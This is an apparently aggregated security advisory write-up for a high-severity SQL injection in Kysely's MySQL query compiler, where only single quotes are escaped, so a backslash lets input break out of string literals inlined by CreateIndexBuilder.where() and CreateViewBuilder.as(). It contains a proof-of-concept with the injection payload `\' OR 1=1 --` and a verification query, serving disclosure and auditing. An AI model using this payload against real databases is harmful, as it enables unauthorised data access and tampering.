# Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in `sql.lit(string)` usage or similar methods that append string literal values into the compiled SQL strings

Kysely's MySQL compiler escaped only single quotes, not backslashes, letting a backslash break out of string literals inlined by CreateIndexBuilder.where() and CreateViewBuilder.as() to inject SQL.

- Payout: Research
- Severity: high
- Program: Kysely
- Found by: offset
- Disclosed: 2026-03-20
- CVE: CVE-2026-33468
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8cpq-38p9-67gx
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8cpq-38p9-67gx
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:sqli

**Target:** MySQL query compiler string literal sanitizer (DDL builders)
**Root cause:** DefaultQueryCompiler.sanitizeStringLiteral() only doubles single quotes and never escapes backslashes; MysqlQueryCompiler inherits it, so with NO_BACKSLASH_ESCAPES=OFF a trailing backslash escapes the closing quote.
**Steps:**
1. Pass user input `\' OR 1=1 --` into `db.schema.createIndex(...).on('orders').column('status').where('status', '=', userInput)`
2. Compile: sanitizer doubles the quote producing `\'' OR 1=1 --`, wrapped as `'\'' OR 1=1 --'`
3. MySQL reads `\'` as literal quote, second `'` closes the string, ` OR 1=1 --` executes as SQL
4. Verify: `SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';` returns all rows
**How found:** Code review of the compiler's literal-escaping path: noticed sanitizeStringLiteral only handles quotes, then traced ImmediateValueTransformer inlining into DDL builders and MySQL's default backslash-escape semantics.
**Exploitation:** Attacker controls a value reaching CreateIndexBuilder.where() or CreateViewBuilder.as() on a MySQL dialect connection; the inlined literal breaks out and injected SQL runs as part of the DDL statement, enabling UNION/subquery data exfiltration, stacked-query modification, or semantic bypass.
**Insight:** When auditing SQL builders, check dialect-specific string literal escaping for backslash handling separately from quote doubling — MySQL's default backslash escape makes quote-only escaping insufficient, and DDL builders (index WHERE, view AS) often inline literals instead of parameterizing.

## Proof of concept (copied exactly from the original report)

**Kysely CreateIndexBuilder.where() injection PoC**

```
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote
```

**Live MySQL verification query**

```
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';
```

